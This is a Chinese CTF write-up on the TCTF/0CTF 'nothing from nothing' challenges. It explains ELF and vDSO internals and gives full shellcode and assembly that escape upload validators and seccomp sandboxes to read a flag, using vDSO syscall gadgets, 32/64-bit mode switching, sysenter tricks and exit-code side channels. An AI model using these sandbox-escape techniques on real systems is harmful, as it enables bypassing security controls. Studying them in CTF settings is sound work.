2023 0CTF 无中生有系列
在TCTF决赛被无中生有折磨之后第二天在0CTF再次被暴击,复现来了
一些基础知识
一些链接装载与库的复习
ELF Header
就是这个玩意
EFF header结构体(64位)
1 |
|
e_ident:ELF magic number
e_type:ELF类型
1
2
3
4
5
6
7
8
9
10#define ET_NONE 0 /* No file type */
#define ET_REL 1 /* 可重定位文件(.o文件) */
#define ET_EXEC 2 /* 可执行文件(静态链接文件) */
#define ET_DYN 3 /* 动态库文件(动态链接文件和共享库文件) */
#define ET_CORE 4 /* 核心转储文件(core) */
#define ET_NUM 5 /* Number of defined types */
#define ET_LOOS 0xfe00 /* OS-specific range start */
#define ET_HIOS 0xfeff /* OS-specific range end */
#define ET_LOPROC 0xff00 /* Processor-specific range start */
#define ET_HIPROC 0xffff /* Processor-specific range end */e_machine:架构(太多了不列了)
e_version:ELF版本信息
1
2
3#define EV_NONE 0 /* Invalid ELF version */
#define EV_CURRENT 1 /* 一般用这个 */
#define EV_NUM 2e_entry:执行入口地址
e_phoff:段表的偏移
e_shoff:节表的偏移(在ELF尾部)
e_flags:处理器标志
e_ehsize:ELF header大小
e_phentsize:段表每一项的大小
e_phnum:段表项数
e_shentsize:节表每一项的大小
e_shnum:节表项数
e_shstrndx:section header string table index
Program Header Table
1 |
|
p_type:段类型
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21#define PT_NULL 0 /* 未使用 */
#define PT_LOAD 1 /* 可加载段,p_filesz表示段大小,p_memsz表示内存大小 */
#define PT_DYNAMIC 2 /* 动态链接信息 */
#define PT_INTERP 3 /* 解释器路径 */
#define PT_NOTE 4 /* 附加信息的位置和大小 */
#define PT_SHLIB 5 /* 保留 */
#define PT_PHDR 6 /* ELF Header大小位置 */
#define PT_TLS 7 /* Thread-local storage segment */
#define PT_NUM 8 /* Number of defined types */
#define PT_LOOS 0x60000000 /* Start of OS-specific */
#define PT_GNU_EH_FRAME 0x6474e550 /* GCC .eh_frame_hdr segment */
#define PT_GNU_STACK 0x6474e551 /* Indicates stack executability */
#define PT_GNU_RELRO 0x6474e552 /* Read-only after relocation */
#define PT_GNU_PROPERTY 0x6474e553 /* GNU property */
#define PT_LOSUNW 0x6ffffffa
#define PT_SUNWBSS 0x6ffffffa /* Sun Specific segment */
#define PT_SUNWSTACK 0x6ffffffb /* Stack segment */
#define PT_HISUNW 0x6fffffff
#define PT_HIOS 0x6fffffff /* End of OS-specific */
#define PT_LOPROC 0x70000000 /* Start of processor-specific */
#define PT_HIPROC 0x7fffffff /* End of processor-specific */p_flags:段权限
1
2
3
4
5#define PF_X (1 << 0) /* Segment is executable */
#define PF_W (1 << 1) /* Segment is writable */
#define PF_R (1 << 2) /* Segment is readable */
#define PF_MASKOS 0x0ff00000 /* OS-specific */
#define PF_MASKPROC 0xf0000000 /* Processor-specific */p_vaddr:段虚拟地址
p_paddr:段物理地址
p_filesz:文件镜像中段大小
p_memsz:内存镜像中段大小
p_align:对齐相关信息
VDSO
x86-32使用 int 0x80 系统调用,但执行速度很慢,为了加快速度
- Intel先实现了快速系统调用指令 sysenter 和 sysexit
- AMD后实现了快速系统调用指令 syscall 和 sysret
x86-64统一使用 syscall 和 sysret,Intel同时支持两种方式
厂商芯片斗争的结果就是不同的芯片需要使用不同的快速系统调用指令,因此开发了 vsyscall 机制,即glibc通过调用 __kernel_vsyscall 来确定到底应该执行什么指令
__kernel_vsyscall 是一个特殊的页,位于内核地址空间(唯一允许用户访问的内核空间),该区域的地址固定为0xffffffffff600000(64位)
vsyscall 还有一个重要的作用就是加快某些系统调用的速度
比如有些系统调用只需要读取一些数据进行计算,可以定期将这些数据推送到内核和用户空间的共享内存中,再利用 __kernel_vsyscall 读取计算,相当于将系统调用变成了函数调用,提高效率效果显著
但 vsyscall 存在一些问题
- 地址固定,容易成为ret2libc的跳板
- 支持的系统调用有限,且不易扩展
所以有了 VDSO
- VDSO 本质上是一个ELF共享目标文件;而 vsyscall 只是一段内存代码和数据。
- vsyscall 位于内核地址空间,采用静态地址映射方式;而 VDSO 借助共享目标文件天生具有的PIC特性,可以以进程为粒度动态映射到进程地址空间中
Auxiliary Vector
辅助信息数组,用来在ld初始工作,没有完善的运行环境时,提供一些提示性的信息,在栈上(envp之后)
相关结构体
1 |
|
sysenter
qemu调sysenter选一个Intel的cpu就行了,比如Broadwell-v1
1 |
|
解释一下为什么sysenter返回之后程序回跑飞
在一系列处理之后会调用do_SYSENTER_32正式处理sysenter,在这之前的pt_regs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
2100:0000│ rdi rsp 0xffffc90000463f58 ◂— 0x1 r15
01:0008│ 0xffffc90000463f60 —▸ 0x4c17d0 r14
02:0010│ 0xffffc90000463f68 —▸ 0x7ffe7a28fff8 r13
03:0018│ 0xffffc90000463f70 ◂— 0x1 r12
04:0020│ 0xffffc90000463f78 —▸ 0x7ffe7a28fe10 bp
05:0028│ 0xffffc90000463f80 ◂— 0x2c bx
06:0030│ 0xffffc90000463f88 ◂— 0x206 r11
07:0038│ 0xffffc90000463f90 ◂— 0x80 r10
08:0040│ 0xffffc90000463f98 ◂— 0x800000000000 r9
09:0048│ 0xffffc90000463fa0 —▸ 0x4c7d70 r8
0a:0050│ 0xffffc90000463fa8 ◂— 0xffffffffffffffda ax
0b:0058│ 0xffffc90000463fb0 ◂— 0xa cx
0c:0060│ 0xffffc90000463fb8 —▸ 0x7ffe7a290008 dx
0d:0068│ 0xffffc90000463fc0 —▸ 0x7ffe7a28fff8 si
0e:0070│ 0xffffc90000463fc8 ◂— 0x1 di
0f:0078│ 0xffffc90000463fd0 ◂— 0x1 orig_ax
10:0080│ 0xffffc90000463fd8 ◂— 0x0 ip
11:0088│ 0xffffc90000463fe0 ◂— 0x23 cs
12:0090│ 0xffffc90000463fe8 ◂— 0x6 flags
13:0098│ 0xffffc90000463ff0 ◂— 0x0 sp
14:00a0│ 0xffffc90000463ff8 ◂— 0x2b ss来康康为什么会变成这样,和用户态不一样的寄存器有rsp,rip,cs(不管rax,ss,cs)
在push寄存器的时候会直接把rsp和rip记为0,cs置为32位的cs
1
2
3
4pushq $0 /* pt_regs->sp = 0 (placeholder) */
pushfq /* pt_regs->flags (except IF = 0) */
pushq $__USER32_CS /* pt_regs->cs */
pushq $0 /* pt_regs->ip = 0 (placeholder) */调用do_SYSENTER_32后的pt_regs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
2200:0000│ rsp 0xffffc90000463f58 ◂— 0x1 r15
01:0008│ 0xffffc90000463f60 —▸ 0x4c17d0 r14
02:0010│ 0xffffc90000463f68 —▸ 0x7ffe7a28fff8 r13
03:0018│ 0xffffc90000463f70 ◂— 0x1 r12
04:0020│ 0xffffc90000463f78 ◂— 0x7ffe00000000 bp // change!
05:0028│ 0xffffc90000463f80 ◂— 0x2c bx
06:0030│ 0xffffc90000463f88 ◂— 0x206 r11
07:0038│ 0xffffc90000463f90 ◂— 0x80 r10
08:0040│ 0xffffc90000463f98 ◂— 0x800000000000 r9
09:0048│ 0xffffc90000463fa0 —▸ 0x4c7d70 r8
0a:0050│ 0xffffc90000463fa8 ◂— 0xfffffffffffffff2 ax
0b:0058│ 0xffffc90000463fb0 ◂— 0xa cx
0c:0060│ 0xffffc90000463fb8 —▸ 0x7ffe7a290008 dx
0d:0068│ 0xffffc90000463fc0 —▸ 0x7ffe7a28fff8 si
0e:0070│ 0xffffc90000463fc8 ◂— 0x1 di
0f:0078│ 0xffffc90000463fd0 ◂— 0x1 orig_ax
10:0080│ 0xffffc90000463fd8 —▸ 0x7ffe7a3f0579 ip // change!
11:0088│ 0xffffc90000463fe0 ◂— 0x23 cs
12:0090│ 0xffffc90000463fe8 ◂— 0x206 flags // change!
13:0098│ 0xffffc90000463ff0 —▸ 0x7ffe7a28fe10 sp // change!
14:00a0│ 0xffffc90000463ff8 ◂— 0x2b sssysenter使用rbp作为返回时的rsp,flags要加上X86_EFLAGS_IF的标志
1
2
3
4
5
6
7
8
9
10__visible noinstr long do_SYSENTER_32(struct pt_regs *regs)
{
/* SYSENTER loses RSP, but the vDSO saved it in RBP. */
regs->sp = regs->bp;
/* SYSENTER clobbers EFLAGS.IF. Assume it was set in usermode. */
regs->flags |= X86_EFLAGS_IF;
return do_fast_syscall_32(regs);
}do_fast_syscall_32会自动设置rip为vsdo中一段固定的landing的地址
1
2
3
4
5
6
7
8
9unsigned long landing_pad = (unsigned long)current->mm->context.vdso +
vdso_image_32.sym_int80_landing_pad;
/*
* SYSENTER loses EIP, and even SYSCALL32 needs us to skip forward
* so that 'regs->ip -= 2' lands back on an int $0x80 instruction.
* Fix it up.
*/
regs->ip = landing_pad;
由于已经将cs设置为32位,所以iretq之后寄存器会被截半
来看一下正常的sysenter的执行过程
一个sysenter一定是从vdso中来的(传参顺序ebx,ecx,edx)
可以看出ebp是用来存esp的
sysenter的参数
1
2
3
4
5
6
7
8
9
10
11/*
* Arguments:
* eax system call number
* ebx arg1
* ecx arg2
* edx arg3
* esi arg4
* edi arg5
* ebp user stack
* 0(%ebp) arg6
*/do_SYSENTER_32返回之后,可以看出landing_pad已经设置好了
landing成功(如果sysenter失败还要继续int 0x80)
ELF文件启动过程
解释一些特性的原理
GNU_STACK设为X则权限为RWX
Linux中对于栈的权限只有可执行和不可执行的判断,默认是可读写的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15/* Stack area protections */
#define EXSTACK_DEFAULT 0 /* Whatever the arch defaults to */
#define EXSTACK_DISABLE_X 1 /* Disable executable stacks */
#define EXSTACK_ENABLE_X 2 /* Enable executable stacks */
elf_ppnt = elf_phdata;
for (i = 0; i < elf_ex->e_phnum; i++, elf_ppnt++)
switch (elf_ppnt->p_type) {
case PT_GNU_STACK:
if (elf_ppnt->p_flags & PF_X)
executable_stack = EXSTACK_ENABLE_X;
else
executable_stack = EXSTACK_DISABLE_X;
break;64位和32位的检查是通过e_machine
1
2
3
4
5
6
7
8
9
10
11
12
13/* Verify the interpreter has a valid arch */
if (!elf_check_arch(interp_elf_ex) ||
elf_check_fdpic(interp_elf_ex))
goto out_free_dentry;
#define elf_check_arch compat_elf_check_arch
#define compat_elf_check_arch(x) \
(elf_check_arch_ia32(x) || \
(IS_ENABLED(CONFIG_X86_X32_ABI) && (x)->e_machine == EM_X86_64))
#define elf_check_arch_ia32(x) \
(((x)->e_machine == EM_386) || ((x)->e_machine == EM_486))
2022 TCTF Final 无中生有
server.py
1 |
|
可以上传一个文件,但对文件进行了限制
- ban了 int 80 和 syscall,考虑了指令跨页的情况
- ELF Header
- 必须为动态 / 静态链接可执行文件
- ELF Header大小0x40
- 有段表且段表在ELF Header之后
- segments
- 没有动态链接段和解释器信息(静态链接文件)
- 不能有wx段
- 不能有大于ELF大小的段
利用
沙箱
1 |
|
- 64位:允许read,x32_write,x32_mmap
- 32位:允许open
主要问题是怎么造syscall
vdso
虽然只能加载静态链接ELF但vsdo还是会加载进内存,且rx权限的vdso中是有syscall的
先放ELF再慢慢解释
1 |
|
栈上会有vsdo的基址,在envp之后的auxv数组中,AT_SYSINFO_EHDR(0x21)项就是vdso的地址
然后就在vdso中搜索syscall
32位mmap一段内存,用作stack(0x40000000以上的系统调用号是64位下执行32位系统调用)
由于之后要转换成32位,需要栈高8字节为0,所以要重新mmap一段栈
1
mmap_x32(0x19260000-0x1000, 0x2000, RWX, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0)
再mmap一段内存,用于写shellcode
将要执行的shellcode解码赋值至0x19290000
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53section .text
global _start
_start:
; mov eax, 0x40000009
; ; mov eax, 0x9
; mov edi, 0x19260000
; mov esi, 0x1000
; mov edx, 0x7
; mov r10d, 0x22
; mov r8d, -1
; mov r9d, 0
; syscall
mov rsp, 0x19260500
push 0x23 ; CS
push 0x1929000e ; _open
retfq
_open:
mov eax, 5
push 0x0067
push 0x616c662f ; /flag
mov ebx, esp
xor ecx, ecx
int 0x80
push 0x33 ; CS
push 0x19290029 ; _read
retfq
_read:
xor eax, eax
mov rdi, 3
mov rsi, 0x19260800
mov rdx, 0x100
syscall
_write:
mov rax, 0x40000001
mov rdi, 1
mov rsi, 0x19260800
mov rdx, 0x100
syscall
push 0x23 ; CS
push 0x1929005b ; _exit
retfq
_exit:
mov eax, 1
mov ebx, 137
int 0x80open需要32位
- 可以使用retfq(相当于pop rip; pop cs;)切换架构(32位架构cs为0x23)
- 或者直接64位下直接int 0x80,需要保证栈和返回地址高32位为0
- 注意int 0x80传参:ebx,ecx,edx,esi,edi
然后正常64位read,x32_write
GNU_STACK
修改GNU_STACK p_flags 为X,栈默认可读写,由于内核实现原因此时栈是rwx的
分了三段shellcode
shellcode1(exp)把shellcode2(sc_mmap)拷贝到栈上,解码并执行之
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27global _start
section .text
_start:
sub rsp,0x100
xor_shellcode_mmap_l1:
xor eax,eax
lea rdi,[sc_mmap]
mov rsi,rsp
mov rdx,QWORD [scm_len]
xor_shellcode_mmap_l2:
cmp rdx,rax
je jump_to_shellcode
mov cl,BYTE [rdi+rax*1]
xor ecx,0x1
mov BYTE [rsi+rax*1],cl
inc rax
jmp xor_shellcode_mmap_l2
jump_to_shellcode:
jmp rsp
; message: db "test output!!!!!", 0 ; note the newline at the end
sc: db 185, 4, 1, 1, 1, 73, 191, 46, 103, 109, 96, 102, 1, 1, 1, 87, 136, 226, 48, 200, 204, 129, 48, 193, 190, 2, 1, 1, 1, 191, 1, 9, 39, 24, 187, 1, 0, 1, 1, 14, 4, 185, 0, 1, 1, 65, 190, 0, 1, 1, 1, 191, 1, 9, 39, 24, 187, 1, 0, 1, 1, 14, 4, 185, 0, 1, 1, 1, 186, 136, 1, 1, 1, 204, 129, 1, 47, 114, 105, 114, 117
sc_len: dq 81
sc_mmap: db 185, 8, 1, 1, 65, 190, 1, 241, 36, 24, 191, 1, 33, 1, 1, 187, 6, 1, 1, 1, 64, 187, 35, 1, 1, 1, 64, 185, 1, 1, 1, 1, 64, 184, 1, 1, 1, 1, 14, 4, 185, 8, 1, 1, 65, 190, 1, 1, 40, 24, 191, 1, 33, 1, 1, 187, 6, 1, 1, 1, 64, 187, 35, 1, 1, 1, 64, 185, 1, 1, 1, 1, 64, 184, 1, 1, 1, 1, 14, 4, 48, 193, 73, 140, 61, 36, 48, 17, 65, 1, 191, 1, 1, 40, 24, 187, 75, 1, 1, 1, 73, 56, 195, 117, 15, 139, 13, 6, 130, 240, 0, 137, 13, 7, 73, 254, 193, 234, 236, 189, 1, 1, 39, 24, 185, 1, 1, 40, 24, 254, 225, 1, 1, 1, 1, 1, 1
scm_len: dq 137链接带stack的elf使用以下命令
1
ld -o exp -z execstack exp.o
这样的stack是rwx的,需要010editor改一下权限
shellcode2(sc_mmap)mmap两段内存,将shellcode3(sc)复制过去,执行之
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42section .text
global _start
_start:
mmap_32bit_stack:
mov eax, 0x40000009
mov edi, 0x19260000-0x1000
mov esi, 0x2000
mov edx, 7
mov r10, 0x22
mov r8, 0
mov r9, 0
syscall ; call syscall
; mmap_x32(0x19260000-0x1000, 0x2000, RWX, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0)
mmap_32bit_shellcode:
mov eax, 0x40000009
mov edi, 0x19290000
mov esi, 0x2000
mov edx, 7
mov r10, 0x22
mov r8, 0
mov r9, 0
syscall ; call syscall
; mmap_x32(0x19290000, 0x2000, RWX, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0)
xor_shellcode_l1:
xor eax,eax
lea rdi,0x401031
mov rsi,0x19290000
mov rdx,80
xor_shellcode_l2:
cmp rdx,rax
je jump_to_shellcode
mov cl,BYTE [rdi+rax*1]
xor ecx,0x1
mov BYTE [rsi+rax*1],cl
inc rax
jmp xor_shellcode_l2
jump_to_shellcode:
mov rsp, 0x19260000
mov rax, 0x19290000
jmp raxshellcode3(sc)进行orw
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30section .text
global _start
_start:
_open:
mov eax, 5
mov rsi, 0x0067616c662f
push rsi ; /flag
mov ebx, esp
xor ecx, ecx
int 0x80
_read:
xor eax, eax
mov rdi, 3
mov rsi, 0x19260800
mov rdx, 0x100
syscall
_write:
mov rax, 0x40000001
mov rdi, 1
mov rsi, 0x19260800
mov rdx, 0x100
syscall
_exit:
mov eax, 1
mov ebx, 137
int 0x80ps:vdso的shellcode写入flag字符串时是两个push,这是已经切换32位了,一次push是四字节,64位push两次就变成 /fla 了(╯‵□′)╯︵┻━┻,就这个bug de了好久……
2023 0CTF nothing
server.py
1 |
|
不同:
- 禁止段表项数大于100
- 禁止GNU_STACK段有x权限
利用
1 |
|
- 64位
- mmap只写段
- open &filename == 0x31337
- 32位:read,write,mmap
sysenter
顺着exp捋一遍
1 |
|
跳来跳去的很乱,按标签标记
_start
在envp中找正在执行的elf的路径(r13),在vdso中找syscall(r14)
open_flag
由于open需要filename地址为0x31337,所以调用strcpy将flag字符串复制到0x31337
1
2
3
4
5
6
7
8strcpy:
cld ; 将方向标志位(DF)清零,字符串处理指令递增地址
cpy1:
lodsb ; 加载字节,将字节从源地址加载到累加器 AL 中
stosb ; 存储字节,将累加器 AL 中的字节存储到目的地址
test al,al ; 遇到空字节结束
jne cpy1
ret打开flag
切换至32位,编译时预留好了rw权限的栈,切换完成后执行start_32
1
2
3
4
5
6
7
8
9
10
11mov edx, r15d ; clear high 32 bit vdso addr
mov rsp, stack
mov rdi, start_32
……
retf_to_32:
; switch to 32 bit
push 0x23 ; cs
push rdi ; ip
retfq ; jump to rdi这时vdso的低32位地址已经被保存到了edx中
start_32
利用sysenter将当前elf文件mmap到vdso低32位地址处,因为sysenter返回后会回到vdso return address的低32位地址(6个参数栈传参)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18_sysenter:
push ecx ; push ecx
push edx ; push edx
push ebp ; push ebp
mov ebp, esp
sysenter
start_32:
mmap_elf_to_vdso:
push 0x1000 ; off: 0x1000 : .text start
push 4 ; fd: 4, elf file
push 0x11 ; flags: MAP_FIXED | MAP_SHARED
push 5 ; prot: RX
push 0x4000 ; length: elf size
push edx ; addr: vdso return addr && elf base
mov ebx, esp
mov eax, 0x5a ; mmap
call _sysenter跑飞哩~
着陆!
1
2
3
4
5
6vdso_landing:
times 4096 db 0x90 ; nop padding
pop ebp
pop edx
pop ecx
ret然后就是rw然后退出
再重新看一下linker.ld
1 |
|
需要
- open时&filename == 0x31337,所以需要调整加载基地址达到这个要求
- 之后要把elf映射到vdso低地址处,所以代码段在较低的位置
侧信道
server.py会输出程序返回值,所以打开flag后mmap到内存里,exit flag的每个字节
1 |
|
1 |
|
找vdso
找syscall
open,mmap,然后exit flag每个字节
2023 0CTF everything
server.py
1 |
|
比nothing多了一个通过e_ident要求32位的判断
利用
1 |
|
open的filename要求的地址变了
e_machine
wrapper.py判断32位是用的e_ident,但Linux运行时使用e_machine判断是32位还是64位,所以编一个64位的程序改一下e_ident就行,但这样gdb调不了IDA也反编译不了:)
1 |
|
filename地址直接mmap了
TODO
- 栈上有什么东西(envp,auxv……),链接装载与库,乐
- 程序启动,执行程序的内存映射和权限控制什么的
- 系统调用(有点忘了用户态和内核态切换的过程了(ˉ▽ˉ;)…)